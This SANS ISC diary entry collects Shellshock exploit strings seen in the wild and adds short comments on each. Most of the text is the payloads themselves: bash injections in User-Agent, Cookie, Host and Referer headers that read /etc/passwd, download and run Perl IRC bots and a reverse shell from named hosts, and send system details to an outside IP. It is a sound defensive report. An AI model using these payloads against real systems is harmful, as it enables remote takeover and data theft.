SANS ISC: Shellshock: A Collection of Exploits seen in the wild

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Ever since the shellshock vulnerability has been announced, we have seen a large number of scans probing it. Here is a quick review of exploits that our honeypots and live servers have seen so far:

1 - Simple "vulnerability checks" that used custom User-Agents:

() { 0v3r1d3;};echo \x22Content-type: text/plain\x22; echo; uname -a;
() { :;}; echo 'Shellshock: Vulnerable'
() { :;};echo content-type:text/plain;echo;echo [random string];echo;exit
() { :;}; /bin/bash -c "echo testing[number]"; /bin/uname -a\x0a\x0a
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 \x22() { test;};echo \x5C\x22Co\
ntent-type: text/plain\x5C\x22; echo; echo; /bin/cat /etc/passwd\x22 http://[IP address]/cgi-bin/test.cgi

This one is a bit different. It includes the tested URL as user agent. But of course, it doesn't escape special characters correctly, so this exploit would fail in this case. The page at 89.248.172.139 appears to only return an "empty page" message.

) { :;}; /bin/bash -c \x22wget -U BashNslash.http://isc.sans.edu/diary/Update+on+CVE-2014-6271:+Vulnerability+in+bash+(shellshock)/18707 89.248.172.139\x22

2 - Bots using the shellshock vulnerability:

This one installs a simple perl bot. Connects to irc.hacker-newbie.org port 6667 channel #bug

() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b\
0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0\
b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http\
://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/sh\
ock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.\
com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http:\
//xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;

3 - Vulnerability checks using multiple headers:

GET / HTTP/1.0
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3
Accept: */*
Cookie: () { :; }; ping -c 3 [ipaddress]
Host: () { :; }; ping -c 3 [ipaddress]
Referer: () { :; }; ping -c 3 [ipaddress]

4 - Using Multiple headers to install perl reverse shell (shell connects to 46.246.34.82 port 1992 in this case)

GET / HTTP/1.1
Host: [ip address]
Cookie:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl
Referer:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl

5 - Using User-Agent to report system parameters back (the IP address is currently not responding)

GET / HTTP/1.0
Accept: */*\
aUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3
Host: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)"
Cookie: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)" 

6 - User-Agent used to install perl box

GET / HTTP/1.0
Host: [ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*

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Johannes B. Ullrich, Ph.D.
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